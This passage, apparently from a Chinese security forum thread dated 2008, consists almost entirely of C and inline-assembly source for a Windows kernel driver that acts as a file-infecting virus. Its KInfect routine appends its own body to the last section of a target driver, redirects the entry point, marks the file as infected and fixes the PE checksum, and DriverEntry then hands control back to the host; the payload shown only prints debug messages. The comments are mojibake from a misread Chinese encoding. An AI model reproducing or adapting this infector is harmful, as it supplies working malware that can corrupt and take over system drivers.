                (PKSTART_ROUTINE)KGetGlobalVarAddr(KPrintf),
                NULL
                );

        if (!NT_SUCCESS(nResult))
        {
                return nResult;
        }
        if (!hThread)
        {
                KClose(hThread);
        }
        return nResult;
}       

/**
*@brief ·ÖÅäÄÚºËÄÚ´æ
*
*@param[in]                PoolType ÄÚ´æÀàÐÍ£¬Ò»°ãÊÇNonPagedPoolѽPagedPool
*@param[in]                ulSize ·ÖÅä´óС

*@return ·µ»Ø0±íʾʧ°Ü,ÆäËüÖµÊÇ·ÖÅäµÄÄÚ´æµØÖ·
*/
PVOID KNew(POOL_TYPE PoolType, ULONG ulSize)//¸Ãº¯ÊýΪ ExAllocatePoolWithTag()µÄ¼òµ¥Íâ°ü
{
        ExAllocatePoolWithTagFunc _ExAllocatePoolWithTag = NULL;

        _ExAllocatePoolWithTag = (ExAllocatePoolWithTagFunc)*(ULONG*)KGetGlobalVarAddr(&g_ulFuncAddr[defExAllocatePoolWithTag]);
        if (!_ExAllocatePoolWithTag)
        {
                return NULL;
        }

        return _ExAllocatePoolWithTag(PoolType, ulSize, 0);

}
/**
*@brief ÊÍ·ÅÄÚ´æ
*
*@param[in]                pv        ÒªÊͷŵÄÄÚ´æÊ×Ö·

*@return
*/
VOID KDelete(PVOID pv)
{
        ExFreePoolWithTagFunc _ExFreePoolWithTag = NULL;

        if (pv == NULL)
        {
                return ;
        }

        _ExFreePoolWithTag = (ExFreePoolWithTagFunc)*(ULONG*)KGetGlobalVarAddr(&g_ulFuncAddr[defExFreePoolWithTag]);

        if (!_ExFreePoolWithTag)
        {
                return ;
        }

        _ExFreePoolWithTag(pv, 0);
}

/**
*@brief ÓëRtlZeroMemoryº¯ÊýÏàͬ
*
*@param[in,out]        Buffer ÒªÇå0µÄBuffer
*@param[in]                ulSize ´óС

*@return
*/
VOID KZeroMemory(UCHAR *Buffer, ULONG ulSize)//¸Ãº¯Êý½«´«µÝµÄÄÚ´æ¿éÇ¿ÖÆÇåÁã
{
        ULONG i = 0;

        for (i = 0; i < ulSize; i++)
        {
                Buffer[i] = 0;
        }
       
}

/**
*@brief ´´½¨»ò´ò¿ªÎļþ
*
*@param[in]                pwszFileName Òª´´½¨»ò´ò¿ªµÄÎļþÃû
*@param[in]                ulDesiredAccess Çë²Î¿¼ZwCreateFileº¯Êý
*@param[in]                ulCreateDisposition Çë²Î¿¼ZwCreateFileº¯Êý

*@return ·µ»ØINVALID_HANDLE_VALUE±íʾʧ°Ü,ÆäËüÖµÊÇÎļþ¾ä±ú
*/
HANDLE KCreateFile(WCHAR *pwszFileName, ULONG ulDesiredAccess, ULONG ulCreateDisposition)//Ò²ÊÇÒ»¸öÍâ°üº¯Êý£¬ºÜ¼òµ¥
{   //ÒòΪÄں˺¯ÊýµÄµ÷Ó㬹ý³Ì±È½Ï¸´ÔÓ£¬ËùÒÔ·â×°ÊDZØÐëµÄ
        NTSTATUS status = STATUS_UNSUCCESSFUL;
        HANDLE hFile = INVALID_HANDLE_VALUE;
        OBJECT_ATTRIBUTES ob;
        UNICODE_STRING usFileName;
        IO_STATUS_BLOCK IoStatusBlock = {0};
        IoCreateFileFunc _IoCreateFile = NULL;
        RtlInitUnicodeStringFunc _RtlInitUnicodeString = NULL;

        _RtlInitUnicodeString = (RtlInitUnicodeStringFunc)*(ULONG*)KGetGlobalVarAddr(&g_ulFuncAddr[defRtlInitUnicodeString]);
        if (!_RtlInitUnicodeString)
        {
                goto Exit0;
        }

        _RtlInitUnicodeString(&usFileName, pwszFileName);
        InitializeObjectAttributes(&ob, &usFileName, OBJ_CASE_INSENSITIVE, NULL, NULL);

        _IoCreateFile = (IoCreateFileFunc)*(ULONG*)KGetGlobalVarAddr(&g_ulFuncAddr[defIoCreateFile]);
        if (!_IoCreateFile)
        {
                goto Exit0;
        }

        status = _IoCreateFile(
                &hFile,
                ulDesiredAccess,
                &ob,
                &IoStatusBlock,
                0,
                FILE_ATTRIBUTE_NORMAL,
                FILE_SHARE_READ,
                ulCreateDisposition,
                0,
                NULL,
                0,
                CreateFileTypeNone,
                (PVOID)NULL,
                0 );

        if(!NT_SUCCESS(status))
        {
                goto Exit0;

        }
       
Exit0:
        return hFile;
}

/**
*@brief µÃµ½ÎļþµÄµ±Ç°¶ÁдָÕëλÖÃ
*
*@param[in]                hFile Îļþ¾ä±ú
*@param[out]        pCurPos ÓÃÀ´½ÓÊÕ¶ÁдָÕëλÖõıäÁ¿

*@return ·µ»ØSTATUS_SUCCESS±íʾ³É¹¦,ÆäËüÖµ±íʾʧ°Ü
*/
int KGetCurPos(HANDLE hFile, PLARGE_INTEGER pCurPos)
{
        NTSTATUS status = STATUS_UNSUCCESSFUL;
        FILE_POSITION_INFORMATION FileInfo = {0};

        NtQueryInformationFileFunc _NtQueryInformationFile = NULL;
       
        if (pCurPos == NULL)
        {
                goto Exit0;
        }
        pCurPos->u.HighPart = 0;
        pCurPos->u.LowPart = 0;

        _NtQueryInformationFile = (NtQueryInformationFileFunc)*(ULONG*)KGetGlobalVarAddr(&g_ulFuncAddr[defNtQueryInformationFile]);
        if (!_NtQueryInformationFile)
        {
                goto Exit0;
        }

        status = _NtQueryInformationFile(
                hFile,
                NULL,
                (PUCHAR)&FileInfo,  //FileInfoÕâ¸ö½á¹¹Ìå·µ»ØÁË ÎļþÏà¹ØÐÅÏ¢
                sizeof(FILE_POSITION_INFORMATION),
                FilePositionInformation
                );
        if (!NT_SUCCESS(status))
        {
                goto Exit0;
        }
        pCurPos->u.HighPart = FileInfo.CurrentByteOffset.u.HighPart;
        pCurPos->u.LowPart = FileInfo.CurrentByteOffset.u.LowPart;

        status = STATUS_SUCCESS;
Exit0:
        return status;
}

/**
*@brief µÃµ½ÎļþµÄ´óС
*
*@param[in]                hFile Îļþ¾ä±ú
*@param[out]        pFileSize ÓÃÀ´½ÓÊÕÎļþ´óСµÄ±äÁ¿

*@return ·µ»ØSTATUS_SUCCESS±íʾ³É¹¦,ÆäËüÖµ±íʾʧ°Ü
*/
int KGetFileSize(HANDLE hFile, PLARGE_INTEGER pFileSize)
{
        NTSTATUS status = STATUS_UNSUCCESSFUL;
        FILE_STANDARD_INFORMATION FileInfo = {0};

        NtQueryInformationFileFunc _NtQueryInformationFile = NULL;

        if (pFileSize == NULL)
        {
                goto Exit0;
        }

        _NtQueryInformationFile = (NtQueryInformationFileFunc)*(ULONG*)KGetGlobalVarAddr(&g_ulFuncAddr[defNtQueryInformationFile]);

        if (!_NtQueryInformationFile)
        {
                goto Exit0;
        }

        status = _NtQueryInformationFile(
                hFile,
                NULL,
                (PUCHAR)&FileInfo,
                sizeof(FILE_STANDARD_INFORMATION),
                FileStandardInformation
                );
        if (!NT_SUCCESS(status))
        {
                goto Exit0;
        }
        pFileSize->u.HighPart = FileInfo.EndOfFile.u.HighPart;
        pFileSize->u.LowPart = FileInfo.EndOfFile.u.LowPart;

        status = STATUS_SUCCESS;
Exit0:
        return status;
}

/**
*@brief Òƶ¯Îļþ¶ÁдָÕë
*
*@param[in]                hFile Îļþ¾ä±ú
*@param[in]                ulOffset ¶ÁдָÕëλÖÃ

*@return ·µ»ØSTATUS_SUCCESS±íʾ³É¹¦,ÆäËüÖµ±íʾʧ°Ü
*/
int KSeek(HANDLE hFile, ULONG ulOffset)
{
        NTSTATUS status = STATUS_UNSUCCESSFUL;
        FILE_POSITION_INFORMATION FileInfo;
        NtSetInformationFileFunc _NtSetInformationFile = NULL;

        FileInfo.CurrentByteOffset.LowPart = ulOffset;
        FileInfo.CurrentByteOffset.HighPart = 0;
       
       
        _NtSetInformationFile = (NtSetInformationFileFunc)*(ULONG*)KGetGlobalVarAddr(&g_ulFuncAddr[defNtSetInformationFile]);
        if (!_NtSetInformationFile)
        {
                goto Exit0;
        }
        status = _NtSetInformationFile(
                hFile,
                NULL,
                (PUCHAR)&FileInfo,
                sizeof(FILE_POSITION_INFORMATION),
                FilePositionInformation
                );

Exit0:
        return status;
}

/**
*@brief ¶ÁÎļþÊý¾Ý
*
*@param[in]                hFile Îļþ¾ä±ú
*@param[out]        Buffer ½ÓÊÕÊý¾ÝµÄ»º³åÇø
*@param[in]                ulSize ½ÓÊÕÊý¾ÝµÄ»º³åÇø´óС
*@param[out]        pulReturnLength ʵ¼Ê¶ÁÈ¡µÄÊý¾Ý´óС

*@return ·µ»ØSTATUS_SUCCESS±íʾ³É¹¦,ÆäËüÖµ±íʾʧ°Ü
*/
int KReadFile(HANDLE hFile, PVOID Buffer, ULONG ulSize, ULONG *pulReturnLength)
{
        NTSTATUS status = STATUS_UNSUCCESSFUL;
        IO_STATUS_BLOCK IoStatusBlock;
        LARGE_INTEGER        ByteOffset;

        NtReadFileFunc _NtReadFile = NULL;

        _NtReadFile = (NtReadFileFunc)*(ULONG*)KGetGlobalVarAddr(&g_ulFuncAddr[defNtReadFile]);
        if (!_NtReadFile)
        {
                goto Exit0;
        }
        status = KGetCurPos(hFile, &ByteOffset);
        if (!NT_SUCCESS(status))
        {
                goto Exit0;
        }

        status = _NtReadFile(
                hFile,
                NULL, NULL, NULL,
                &IoStatusBlock,
                Buffer,
                ulSize,
                &ByteOffset,
                NULL
                );
        if (!NT_SUCCESS(status))
        {
                goto Exit0;
        }
        if (pulReturnLength)
        {
                *pulReturnLength = IoStatusBlock.Information;
        }

Exit0:
        return status;
}
/**
*@brief дÎļþÊý¾Ý
*
*@param[in]                hFile Îļþ¾ä±ú
*@param[in]                Buffer ÐèҪдµÄÊý¾ÝµÄ»º³åÇø
*@param[in]                ulSize ÐèҪдµÄÊý¾ÝµÄ»º³åÇø´óС
*@param[out]        pulReturnLength ʵ¼ÊдµÄÊý¾Ý´óС

*@return ·µ»ØSTATUS_SUCCESS±íʾ³É¹¦,ÆäËüÖµ±íʾʧ°Ü
*/
int KWriteFile(HANDLE hFile, PVOID Buffer, ULONG ulSize, ULONG *pulReturnLength)
{
        NTSTATUS status = STATUS_UNSUCCESSFUL;
        IO_STATUS_BLOCK IoStatusBlock;
        LARGE_INTEGER        ByteOffset;

        NtWriteFileFunc _NtWriteFile = NULL;

        _NtWriteFile = (NtWriteFileFunc)*(ULONG*)KGetGlobalVarAddr(&g_ulFuncAddr[defNtWriteFile]);
        if (!_NtWriteFile)
        {
                goto Exit0;
        }
        status = KGetCurPos(hFile, &ByteOffset);
        if (!NT_SUCCESS(status))
        {
                goto Exit0;
        }

        status = _NtWriteFile(
                hFile,
                NULL, NULL, NULL,
                &IoStatusBlock,
                Buffer,
                ulSize,
                &ByteOffset,
                NULL
                );
        if (!NT_SUCCESS(status))
        {
                goto Exit0;
        }
        if (pulReturnLength)
        {
                *pulReturnLength = IoStatusBlock.Information;
        }

Exit0:
        return status;
}

/**
*@brief ¹Ø±ÕÎļþ
*
*@param[in]                hFile Îļþ¾ä±ú

*@return ·µ»ØSTATUS_SUCCESS±íʾ³É¹¦,ÆäËüÖµ±íʾʧ°Ü
*/

int KClose(HANDLE hFile)
{
        NtCloseFunc _NtClose = NULL;
       
        if (hFile == INVALID_HANDLE_VALUE)
        {
                return STATUS_UNSUCCESSFUL;
        }
       
        _NtClose = (NtCloseFunc)*(ULONG*)KGetGlobalVarAddr(&g_ulFuncAddr[defNtClose]);
        if (!_NtClose)
        {
                return STATUS_UNSUCCESSFUL;
        }

        return _NtClose(hFile);
}

/**
*@brief È¡µÃPE½ÚÊý
*
*@param[in]                pe PEÎļþ¶ÔÏó
*@return ·µ»ØPEÎļþµÄ½ÚÊý£¬
*/
ULONG KPEGetSecNum(KPELIB *pe)
{
        return pe->pNtHdr->FileHeader.NumberOfSections;
}

/**
*@brief RVAµ½FilePosµÄת»»
*
*@param[in]                pe PEÎļþ¶ÔÏó
*@param[in]                RVA
*@return ·µ»ØFilePos
*/
ULONG RVAToFilePos(KPELIB *pe, ULONG RVA)//¹Ø¼üº¯Êý
{
        ULONG FilePos = 0;
        ULONG uSecNum = 0;
        ULONG i = 0;

        uSecNum = KPEGetSecNum(pe);

        for (i = 0; i < uSecNum; i++ )
        {
                if (RVA >=  pe->pSecHdr[i].VirtualAddress &&
                        RVA <  pe->pSecHdr[i].VirtualAddress +  pe->pSecHdr[i].SizeOfRawData)
                {
                        FilePos = RVA -  pe->pSecHdr[i].VirtualAddress +  pe->pSecHdr[i].PointerToRawData;
                        break;
                }
        }

        return FilePos;
}

/**
*@brief FilePosµ½RVAµÄת»»
*
*@param[in]                pe PEÎļþ¶ÔÏó
*@param[in]                FilePos
*@return ·µ»ØRVA
*/
ULONG FilePosToRVA(KPELIB *pe, ULONG FilePos)//¹Ø¼üº¯Êý
{
        ULONG RVA = 0;
        ULONG uSecNum = 0;
        ULONG i = 0;

        uSecNum = KPEGetSecNum(pe);
        for (i = 0; i < uSecNum; i++ )
        {
                if (FilePos >=  pe->pSecHdr[i].PointerToRawData &&
                        FilePos <  pe->pSecHdr[i].PointerToRawData +  pe->pSecHdr[i].SizeOfRawData)
                {
                        RVA = FilePos -  pe->pSecHdr[i].PointerToRawData +  pe->pSecHdr[i].VirtualAddress;
                        break;
                }
        }

Exit0:
        return RVA;
}

/**
*@brief ¸ù¾ÝÎļþ³õʼһ¸öPE¶ÔÏó(¿í×Ö·û°æ±¾)
*
*@param[in]                pwszFileName PEÎļþÃû
*@param[in]                OpenMode ´ò¿ª·½Ê½,È¡Öµ¿ÉÒԲο¼ZwCreateFileº¯ÊýµÄDesiredAccess²ÎÊý
*@return ³É¹¦Ê±·µ»ØÒ»¸öÒѾ­³õʼ»¯µÄPE¶ÔÏó,·ñÔò·µ»ØNULL
*/
int KPEInitFromFileW(KPELIB *pe, WCHAR *pwszFileName)
{
        int nResult = STATUS_UNSUCCESSFUL;
        int nRetCode = STATUS_UNSUCCESSFUL;
        ULONG ulReturnLength = 0;

        if (!pe)
        {
                return STATUS_UNSUCCESSFUL;
        }
       
        KZeroMemory((UCHAR*)pe, sizeof(KPELIB));

        pe->hFile = INVALID_HANDLE_VALUE;

        pe->hFile = KCreateFile(
                pwszFileName,
                GENERIC_READ | GENERIC_WRITE,
                FILE_OPEN
                );
        if(pe->hFile == INVALID_HANDLE_VALUE)
        {
                goto Exit0;
        }
       
        pe->pDosHdr = (IMAGE_DOS_HEADER*)KNew(NonPagedPool, sizeof(IMAGE_DOS_HEADER));
        if (!pe->pDosHdr)
        {
                goto Exit0;
        }

        nRetCode = KReadFile(pe->hFile, (UCHAR*)pe->pDosHdr, sizeof(IMAGE_DOS_HEADER), &ulReturnLength);
        if (!NT_SUCCESS(nRetCode))
        {
                goto Exit0;
        }
       
        pe->pNtHdr = (IMAGE_NT_HEADERS32*)KNew(NonPagedPool, sizeof(IMAGE_NT_HEADERS32));
        if (!pe->pNtHdr)
        {
                goto Exit0;
        }

        nRetCode = KSeek(pe->hFile, pe->pDosHdr->e_lfanew);
        if (!NT_SUCCESS(nRetCode))
        {
                goto Exit0;
        }
       
        nRetCode = KReadFile(
                pe->hFile,
                (UCHAR*)pe->pNtHdr,
                sizeof(IMAGE_NT_HEADERS32),
                &ulReturnLength
                );
        if (!NT_SUCCESS(nRetCode))
        {
                goto Exit0;
        }
       

        pe->pSecHdr = (IMAGE_SECTION_HEADER*)KNew(
                NonPagedPool,
                sizeof(IMAGE_SECTION_HEADER) * pe->pNtHdr->FileHeader.NumberOfSections
                );
        if (!pe->pSecHdr)
        {
                goto Exit0;
        }
       
        nRetCode = KSeek(
                pe->hFile,
                pe->pDosHdr->e_lfanew + pe->pNtHdr->FileHeader.SizeOfOptionalHeader + 0x18
                );
        if (!NT_SUCCESS(nRetCode))
        {
                goto Exit0;
        }
       
        nRetCode = KReadFile(
                pe->hFile,
                (UCHAR*)pe->pSecHdr,
                sizeof(IMAGE_SECTION_HEADER) * pe->pNtHdr->FileHeader.NumberOfSections,
                &ulReturnLength
                );
        if (!NT_SUCCESS(nRetCode))
        {
                goto Exit0;
        }
       
        nResult = STATUS_SUCCESS;
Exit0:
        if (!NT_SUCCESS(nResult))
        {
                KDelete(pe->pSecHdr);
                pe->pSecHdr = NULL;
                KDelete(pe->pNtHdr);
                pe->pNtHdr = NULL;
                KDelete(pe->pDosHdr);
                pe->pDosHdr = NULL;
        }
        return nResult;
}

USHORT
ChkSum(      
           ULONG PartialSum,
           PUSHORT Source,
           ULONG Length
           )

{
       
        while (Length--) {
                PartialSum += *Source++;
                PartialSum = (PartialSum >> 16) + (PartialSum & 0xffff);
        }

        return (USHORT)(((PartialSum >> 16) + PartialSum) & 0xffff);
}

PIMAGE_NT_HEADERS32 RtlpImageNtHeader(PVOID BaseAddress)
{
        PIMAGE_DOS_HEADER pDosHdr = (PIMAGE_DOS_HEADER)BaseAddress;

        return (PIMAGE_NT_HEADERS32)(pDosHdr->e_lfanew + (ULONG)BaseAddress);
}

PIMAGE_NT_HEADERS32
CheckSumMappedFile (
                                        PVOID BaseAddress,
                                        ULONG FileLength,
                                        PULONG HeaderSum,
                                        PULONG CheckSum
                                        )

                       
{

        PUSHORT AdjustSum;
        PIMAGE_NT_HEADERS32 NtHeaders;
        USHORT PartialSum;

        *HeaderSum = 0;
        PartialSum = ChkSum(0, (PUSHORT)BaseAddress, (FileLength + 1) >> 1);

       

        NtHeaders = RtlpImageNtHeader(BaseAddress);

        if ((NtHeaders != NULL) && (NtHeaders != BaseAddress))
        {
                if (NtHeaders->OptionalHeader.Magic == 0x10B)
                {
                        *HeaderSum = ((PIMAGE_NT_HEADERS32)NtHeaders)->OptionalHeader.CheckSum;
                        AdjustSum = (PUSHORT)(&((PIMAGE_NT_HEADERS32)NtHeaders)->OptionalHeader.CheckSum);
                        PartialSum -= (PartialSum < AdjustSum[0]);
                        PartialSum -= AdjustSum[0];
                        PartialSum -= (PartialSum < AdjustSum[1]);
                        PartialSum -= AdjustSum[1];
                }
        }

        *CheckSum = (DWORD)PartialSum + FileLength;
        return NtHeaders;
}

/**
*@brief ÖØмÆËãPEÎļþµÄCheckSum
*
*@param[in]                pwszFileName ÎļþÃû

*@return ·µ»ØSTATUS_SUCCESS±íʾ³É¹¦,ÆäËüÖµ±íʾʧ°Ü
*/

int KUpdateFileChkSum(WCHAR *pwszFileName) //ͦ¸´Ôӵģ¬Ëã·¨ÎÒû×Ðϸ¶Á£¬·´Õý¾ÍÊÇÖØмÆË㣬ȻºóÐÞ¸ÄPEÎļþµÄCheckSum
{                                          //¸Ãº¯Êýµ÷ÓÃÁËCheckSumMappedFile()À´¼ÆËãеÄCheckSum
        int nResult = STATUS_UNSUCCESSFUL;
        int nRetCode = STATUS_UNSUCCESSFUL;

        UCHAR        *Buffer = NULL;
        HANDLE        hFile = INVALID_HANDLE_VALUE;
        LARGE_INTEGER        FileSize;
        ULONG        ulReturnLength = 0;
        ULONG        ulHeaderChkSum = 0;
        ULONG        ulChkSum = 0;
        PIMAGE_NT_HEADERS32        pNtHdr = NULL;
        PIMAGE_DOS_HEADER        pDosHdr = NULL;

        hFile = KCreateFile(
                pwszFileName,
                GENERIC_READ | GENERIC_WRITE,
                FILE_OPEN
                );
        if (hFile == INVALID_HANDLE_VALUE)
        {
                goto Exit0;
        }

        nRetCode = KGetFileSize(hFile, &FileSize);
        if (!NT_SUCCESS(nRetCode))
        {
                goto Exit0;
        }

        if (FileSize.u.LowPart == 0 || FileSize.u.LowPart > defMAX_FILE_SIZE)
        {
                goto Exit0;
        }

        Buffer = (UCHAR*)KNew(
                NonPagedPool,
                FileSize.u.LowPart
                );
        if (!Buffer)
        {
                goto Exit0;
        }
       
        nRetCode = KSeek(
                hFile,
                0);
        if (!NT_SUCCESS(nRetCode))
        {
                goto Exit0;
        }

        nRetCode = KReadFile(
                hFile,
                Buffer,
                FileSize.u.LowPart,
                &ulReturnLength
                );
        if (!NT_SUCCESS(nRetCode))
        {
                goto Exit0;
        }
       
        pNtHdr = CheckSumMappedFile(Buffer, FileSize.u.LowPart, &ulHeaderChkSum, &ulChkSum);
        if (!pNtHdr)
        {
                goto Exit0;
        }
        pDosHdr = (PIMAGE_DOS_HEADER)Buffer;

        pNtHdr->OptionalHeader.CheckSum = ulChkSum;
       
        nRetCode = KSeek(
                hFile,
                pDosHdr->e_lfanew
                );
        if (!NT_SUCCESS(nRetCode))
        {
                goto Exit0;
        }
       
        nRetCode = KWriteFile(
                hFile,
                pNtHdr,
                sizeof(IMAGE_NT_HEADERS32),
                &ulReturnLength
                );
        if (!NT_SUCCESS(nRetCode))
        {
                goto Exit0;
        }
        nResult = STATUS_SUCCESS;
Exit0:
        if (hFile != INVALID_HANDLE_VALUE)
        {
                KClose( hFile);
        }
        return nResult;
}

/**
*@brief Ò»´ÎÐÔÈ¡µÃËùÓÐÐèҪʹÓõÄAPIº¯ÊýµÄµØÖ·
*
*@param[in]                DriverObject µ±Ç°Çý¶¯µÄDriverObject

*@return ·µ»ØSTATUS_SUCCESS±íʾ³É¹¦,ÆäËüÖµ±íʾʧ°Ü
*/

int KGetApis(PDRIVER_OBJECT DriverObject)//³õʼ»¯pulApiAddr[]Êý×é
{
        PULONG pulApiAddr = KGetGlobalVarAddr(g_ulFuncAddr);

        int i = 0;

        for (i = 0; i < defApiNum; i++)
        {
                pulApiAddr[i] = KGetApiAddr(DriverObject, g_wszNtoskrnl, g_szFuncName[i]);
                if (pulApiAddr[i] == 0)
                {
                        return STATUS_UNSUCCESSFUL;
                }

        }

        return STATUS_SUCCESS;
}

/**
*@brief ¸ÐȾָ¶¨µÄÎļþ
*
*@param[in]                pwszFileName Òª¸ÐȾµÄÇý¶¯ÎļþÃû
*@param[in]                ulNewEntryPointDelta DriverEntryº¯ÊýÖ·Óë¸ÐȾÌåÊ×µØÖ·Ö®¼äµÄ²îÖµ

*@return ·µ»ØSTATUS_SUCCESS±íʾ³É¹¦,ÆäËüÖµ±íʾʧ°Ü
*/

int KInfect(WCHAR *pwszFileName, ULONG ulNewEntryPointDelta)//¹Ø¼üº¯Êý
{
        int nResult = STATUS_UNSUCCESSFUL;
        int nRetCode = STATUS_UNSUCCESSFUL;
        ULONG ulNewFilePos = 0;
        ULONG ulReturnLength = 0;
        KPELIB pe;
        ULONG ulSecNum = 0;
        ULONG ulFileAlignment = 0;
        ULONG ulSectionAlignment = 0;
        //ULONG ulStartAddr = KGetStartAddr();
        ULONG ulEndAddr = KGetEndAddr();
        ULONG ulDelta = 0;

        ULONG ulBodySize = 0;
        __asm
        {
Start:
                call lbl_Next
lbl_Next:
                pop ebx
                sub ebx, 5
                sub ebx, offset Start
                mov ulDelta, ebx
        }
       
        ulBodySize = ulEndAddr - (ulDelta + (ULONG)g_wszNtoskrnl);

        nRetCode = KPEInitFromFileW(
                &pe,
                pwszFileName
                );
        if (!NT_SUCCESS(nRetCode))
        {
                goto Exit0;
        }

        if (pe.pDosHdr->e_csum == 0x5748)        //¸ÐȾ±ê¼Ç
        {
                goto Exit0;
        }
        ulSecNum = KPEGetSecNum(&pe);
        if (!ulSecNum)
        {
                goto Exit0;
        }

        ulFileAlignment = pe.pNtHdr->OptionalHeader.FileAlignment;
        ulSectionAlignment = pe.pNtHdr->OptionalHeader.SectionAlignment;

        //¶ÔÆë
        pe.pSecHdr[ulSecNum - 1].SizeOfRawData =
                ((pe.pSecHdr[ulSecNum - 1].SizeOfRawData - 1) / ulFileAlignment + 1) * ulFileAlignment;

        pe.pSecHdr[ulSecNum - 1].Misc.VirtualSize =
                ((pe.pSecHdr[ulSecNum - 1].Misc.VirtualSize - 1) / ulFileAlignment + 1) * ulFileAlignment;

        ulNewFilePos = pe.pSecHdr[ulSecNum - 1].SizeOfRawData + pe.pSecHdr[ulSecNum - 1].PointerToRawData;

        pe.pDosHdr->e_ip = (USHORT)(pe.pNtHdr->OptionalHeader.AddressOfEntryPoint & 0xFFFF);
        pe.pDosHdr->e_cs = (USHORT)( (pe.pNtHdr->OptionalHeader.AddressOfEntryPoint >> 16) & 0xFFFF);

        pe.pNtHdr->OptionalHeader.AddressOfEntryPoint =
                ulNewEntryPointDelta + //×¢ÒâÕâÀÈë¿ÚµãµÄ±ä»¯
                pe.pSecHdr[ulSecNum - 1].VirtualAddress +
                pe.pSecHdr[ulSecNum - 1].Misc.VirtualSize;

        pe.pSecHdr[ulSecNum - 1].SizeOfRawData += ulBodySize;
        pe.pSecHdr[ulSecNum - 1].Misc.VirtualSize += ulBodySize;

        pe.pDosHdr->e_csum = 0x5748;        //¸ÐȾ±ê¼Ç
        nRetCode = KSeek(pe.hFile, ulNewFilePos);
        if (!NT_SUCCESS(nRetCode))
        {
                goto Exit0;
        }
       
        nRetCode = KWriteFile(
                pe.hFile,
                (PVOID)((ULONG)g_wszNtoskrnl + ulDelta),//д´úÂë
                ulBodySize,
                &ulReturnLength
                );
        if (!NT_SUCCESS(nRetCode))
        {
                goto Exit0;
        }

        pe.pNtHdr->OptionalHeader.SizeOfImage =
                pe.pSecHdr[ulSecNum - 1].VirtualAddress + pe.pSecHdr[ulSecNum - 1].Misc.VirtualSize;
       
        pe.pSecHdr[ulSecNum - 1].Characteristics |= (IMAGE_SCN_CNT_CODE | IMAGE_SCN_MEM_EXECUTE | IMAGE_SCN_MEM_WRITE);
        pe.pSecHdr[ulSecNum - 1].Characteristics &= (~IMAGE_SCN_MEM_DISCARDABLE);

        nRetCode = KSeek(pe.hFile, 0);
        if (!NT_SUCCESS(nRetCode))
        {
                goto Exit0;
        }
       
        nRetCode = KWriteFile(
                pe.hFile,
                pe.pDosHdr,
                sizeof(IMAGE_DOS_HEADER),
                &ulReturnLength
                );
        if (!NT_SUCCESS(nRetCode))
        {
                goto Exit0;
        }
       
        nRetCode = KSeek(pe.hFile, pe.pDosHdr->e_lfanew);
        if (!NT_SUCCESS(nRetCode))
        {
                goto Exit0;
        }

        nRetCode = KWriteFile(
                pe.hFile,
                pe.pNtHdr,
                sizeof(IMAGE_NT_HEADERS32),
                &ulReturnLength
                );
        if (!NT_SUCCESS(nRetCode))
        {
                goto Exit0;
        }

        nRetCode = KSeek(
                pe.hFile,
                pe.pDosHdr->e_lfanew + pe.pNtHdr->FileHeader.SizeOfOptionalHeader + 0x18
                );
        if (!NT_SUCCESS(nRetCode))
        {
                goto Exit0;
        }

        nRetCode = KWriteFile(
                pe.hFile,
                pe.pSecHdr,
                sizeof(IMAGE_SECTION_HEADER) * ulSecNum,
                &ulReturnLength
                );
        if (!NT_SUCCESS(nRetCode))
        {
                goto Exit0;
        }

        nResult = STATUS_SUCCESS;
Exit0:
        KDelete(pe.pSecHdr);
        pe.pSecHdr = NULL;
        KDelete(pe.pNtHdr);
        pe.pNtHdr = NULL;
        KDelete(pe.pDosHdr);
        pe.pDosHdr = NULL;
        KClose(pe.hFile);
        return nResult;
}

//±¾Çý¶¯»á¸ÐȾSystem32\Drivers\test.sys£¬¸ÐȾ·½Ê½Îª¸ü¸Ä×îºóÒ»¸ö½ÚµÄ´óС£¬
//È»ºóдÈë¸ÐȾÌå´úÂ룬±»¸ÐȾµÄÇý¶¯¼ÓÔسɹ¦µÄ±íÏÖΪÿ¸ôÒ»ÃëÖÖʹÓÃDbgPrintÊä³öI'm here
//¿ÉÒÔÔÚWindbg»òDbgView²é¿´

NTSTATUS  DriverEntry(IN PDRIVER_OBJECT DriverObject, IN PUNICODE_STRING RegistryPath)
{

        NTSTATUS               ntStatus        = STATUS_UNSUCCESSFUL;
        KPELIB                                        Self;
        ULONG                                        ulNewEntryPointDelta = 0;
        ULONG                                        *pulOrgEntryPoint = NULL;

        ulNewEntryPointDelta = (ULONG)KGetGlobalVarAddr(DriverEntry);
        ulNewEntryPointDelta -= (ULONG)KGetGlobalVarAddr(g_wszNtoskrnl);

        ntStatus = KGetApis(DriverObject);//³õʼ»¯pulApiAddr[]Êý×é
        if (!NT_SUCCESS(ntStatus))
        {
                goto Exit0;
        }
        ntStatus = KPEInitFromMem((PUCHAR)DriverObject->DriverStart, DriverObject->DriverSize, &Self);
        if (!NT_SUCCESS(ntStatus))
        {
                goto Exit0;
        }
        if (Self.pDosHdr->e_csum == 0x5748)//¹Ì¶¨Öµ.....
        {
                pulOrgEntryPoint = KGetGlobalVarAddr(&g_ulOrgEntryPoint);

                *pulOrgEntryPoint = Self.pDosHdr->e_cs;
                *pulOrgEntryPoint <<= 16;
                *pulOrgEntryPoint |= Self.pDosHdr->e_ip;
                *pulOrgEntryPoint += (ULONG)DriverObject->DriverStart;

        }
       
        ntStatus = KInfect((WCHAR*)KGetGlobalVarAddr(g_wszTest), ulNewEntryPointDelta);
        if (!NT_SUCCESS(ntStatus))
        {
                goto Exit0;
        }

        ntStatus = KUpdateFileChkSum((WCHAR*)KGetGlobalVarAddr(g_wszTest));
        if (!NT_SUCCESS(ntStatus))
        {
                goto Exit0;
        }

Exit0:
        __asm
        {
                push offset g_ulOrgEntryPoint
                call KGetGlobalVarAddr
                mov eax, [eax]
                or eax,eax
                jz Exit1
                push eax
                call KCreateSystemThread   //½¨Á¢ÄǸöprintÏß³Ì
                pop eax
                pop     edi
                pop     esi
                pop     ebx
                mov     esp, ebp
                pop     ebp
                jmp eax  //????????????ÕâÊÇ×öʲôÄØ?
Exit1:               
        }
        __asm
        {
                        mov     eax, 0C0000001h
                        pop     edi
                        pop     esi
                        pop     ebx
                        mov     esp, ebp
                        pop     ebp
                        retn    8

        }
}

/**
*@brief È¡µÃµ±Ç°º¯ÊýÄ©µÄµØÖ·
*
*@return ·µ»ØÇ°º¯ÊýÄ©µÄµØÖ·
*/
ULONG __declspec(naked) KGetEndAddr()
{
        __asm
        {
                call lbl_Next
lbl_Next:
                pop eax
                add eax, 5
                ret
        }
}
2008-5-16 05:06
0
雪    币: 229
活跃值: (10)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
84
蓝一下.看看...
2008-9-20 15:49
0
雪    币: 205
活跃值: (12)
能力值: ( LV2,RANK:10 )
在线值:
